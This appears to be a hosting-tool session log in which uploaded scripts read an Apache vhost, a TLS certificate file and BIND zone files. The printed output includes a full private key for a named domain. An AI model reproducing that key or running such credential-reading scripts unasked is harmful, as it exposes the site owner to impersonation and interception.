        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-13 13:20:33: 

PUT: /tmp/pkp495966

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-13 13:20:33: 

chmod 755 /tmp/pkp495966; /tmp/pkp495966; rm /tmp/pkp495966

2026-02-13 13:20:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt	5401
22:e7:39:e1:6d:c9:e7:ed:fa:fa:93:c6:20:86:c5:8e

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBbJdzErWlnjKbyBpXO/K8xVUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjEzMTIyMjAxWhcNMjYwNTE0MTIyMjAwWjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDgO5HxbYl7vaTlm6N+C2rk0pHz+Oe8s2ogw78qoS80yIl8QqT3
jI8T26RRrL+b/MHhv/0LRCZ7EuE94V//hgz6cAjT+iBBM0A6xJPQpgs5cDWDBN15
15dfYbAlT9rBLHKSrghu3caqfXCltYLd93ZYhRUK3nShmp+ReU42DAOiiZY64xYh
LiPW5pZEVS+pjFigtIWk6XKo5a3ioqneXyAFmDTjfiGRlY2WKhSKP/7FZlKj9mnY
aVIUaWf58kOHvE/3lDGl1V1P2UwOpglexoyCy6isj1xC7sduUU2bEJEI+NNmi9BK
mKa/ibeCW6tTGFy3K2OxxxRJjJC+3R34wHtlAgMBAAGjggI9MIICOTAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUm+a0Id9FM/mwqWK2ukuwK6647oAwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzA8BgNVHREENTAzghdzbXMuaG9wZWluc3RvdWdodG9u
Lm9yZ4IYdGV4dC5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODUu
Y3JsMIIBCgYKKwYBBAHWeQIEAgSB+wSB+AD2AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj
0IdL9gQpJ/jnHzMT9foAAAGcVykCnwAABAMARjBEAiBvx4FasP8EZFsitZyCRGqy
F3h5ACK72OTBWazvax1KcwIgMyj7cmP2QLue71XtidQSJZz8nkIdURRkULuJNk9c
DCQAfQAai51pSleYyJmgyoi99I/AtFZgzMNgDR9x9Gn/x9GsowAAAZxXKQP8AAgA
AAUARzHNqQQDAEYwRAIgebdl+bKOyl5dkn1e64tgwEIQjHu+/5ay+PLJ8GwOC4cC
IDGLXrh9kN/RDTCEtF2msQuMul8T64x+LpKZkbtQCTaQMA0GCSqGSIb3DQEBCwUA
A4IBAQACKkv+TGzSdXdJkuDzE2kA4lZr4g2EBIZ5AyHM88rLIQdwjiGMXDU69Q8F
FhFJHjMIUJOqYmbRu13+mu6NNSZhcBYP6O0wM3s9O73Btz85wnHJemOJ3fB7P/zf
H+CFTyqcZTjrNICypm7xyjp12TTfBu+qS0WOHm7hDnm52UgYGK/CeMrymy2LTN8y
vq4D+bGlGFy4/xLbMHS76k6AjTIrohI0Qi/X95tUXxt3viIJe7MrJhXIOixDlEJy
7YCKk+b1xdlmekZzrZE8r7rM9XSx1b9pXt3K/rZyR0f0SAZS4xcPGVIsUNpwh6GP
VR1zHNrVOJppB6iOjkUp+Z8MSWx0
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDgO5HxbYl7vaTl
m6N+C2rk0pHz+Oe8s2ogw78qoS80yIl8QqT3jI8T26RRrL+b/MHhv/0LRCZ7EuE9
4V//hgz6cAjT+iBBM0A6xJPQpgs5cDWDBN1515dfYbAlT9rBLHKSrghu3caqfXCl
tYLd93ZYhRUK3nShmp+ReU42DAOiiZY64xYhLiPW5pZEVS+pjFigtIWk6XKo5a3i
oqneXyAFmDTjfiGRlY2WKhSKP/7FZlKj9mnYaVIUaWf58kOHvE/3lDGl1V1P2UwO
pglexoyCy6isj1xC7sduUU2bEJEI+NNmi9BKmKa/ibeCW6tTGFy3K2OxxxRJjJC+
3R34wHtlAgMBAAECggEAPAcmgEvTINm5kbAzOfSDhsNqSDZrj0Q2lpPgkuB4mzhO
OgI7WHv795R2rljBKNim7LDxZHk3lf4NZ3v0r5qq0cZ5Tooo5Vt7h+AFNDenTJah
9LOyOMKC5wlnVu3EQa+M8oB9iHR9kTmolOv9Hz/2oibqZbD85yBWNGMVkXlw5atQ
Sg42f4zfVO2enyhIPDo2NzL0RKZUUldlVvSRHbm4LS7wYCGlGgBytRrsAP2eonXz
5gLLq4EucslgjK5Es+Qh/toV81BYh4JbSCirgWvOAglXb7sOu7EFZ0at+q93ZR/E
4vFmtNs+p1vgPz9yCpdqQOz4g6rJYHyExSccTXeMRwKBgQD0ndwurNUbzk/yLDCv
MTlmdVZw/tBdK3/Q4AjxWiYQy6pKO0l4zwNIEkGySDvouMGyqtQqku0QVeRumYIj
p73HOkapUGhm3K04UEjZ7Bd26igpiJVgMkWjrlm4A+uKVaqqz3cAmHSAbWWaaBW/
nkOWWzTiYJ+3ps7Ol7rWGgP3WwKBgQDqqt/ONRh83PBTo+TN6gHEZbOjYYu8oBQi
RU6FyPVZZWkGI5kgGB7T/izQ8zSlC2qGEugiTZBdUpMFU4b2PGPM8o9/BLzgCh2C
tiR1Z8tOJ7PxDhjAUvBQwL8echy+jTRgEjUKq7qd454YyCCt2GYDZc00cngPMAC1
Jjz/lTKUPwKBgA66eols6p/z+ihQtNW3lwcuRXgkP5N8jQOcma0+ilA0kxpJG5Fk
lYP/ZWlApCrNBQym8INnuVJkeY6XO5i9/tVCEwMazk5zNxLO8rP8XSVRz/1ANg5G
uJ60Xr6Prdz0b4Q9XaLxiwI4lAeKANU6yEMDVtnSi4tZRdZ2mE9P3bFFAoGAKcL1
B059qCLthgUBv/9oBxqOSIIgixX13090NOzZdOpOMXB+XK7ONa3jLeBKOyD3+Ro+
Q3SIP4NldKozt3hxzlRQYytlrX0/WTau8FHjZWo9ZKW8k+VurQBQQsvN/79DVeGH
nPmIwXZzeTeMUUPUi8A/L5k7coB5b8N5UYastKMCgYEA49vxdLYIC/Wvj80TdiF5
GZ1xOsGvMYvzhSR4ym6lalbLhbeUX34axDOL9xsQAxn0y6sw6/jjQQhGWLTpnA0r
6oF7xZ6E9G5MXTj/qcJpOJRDQ0mPHJogqGH1Lr4NGvz/BfMyLN7VVobUdHmgF72K
WylXdqh40YGovEhbbJG6m6M=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-13 13:27:11: Establishing a connection
2026-02-13 13:27:25: Establishing a connection
2026-02-13 13:27:26: 

PUT: /tmp/pkp251495

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-13 13:27:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp251495; rm /tmp/pkp251495'

2026-02-13 13:27:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
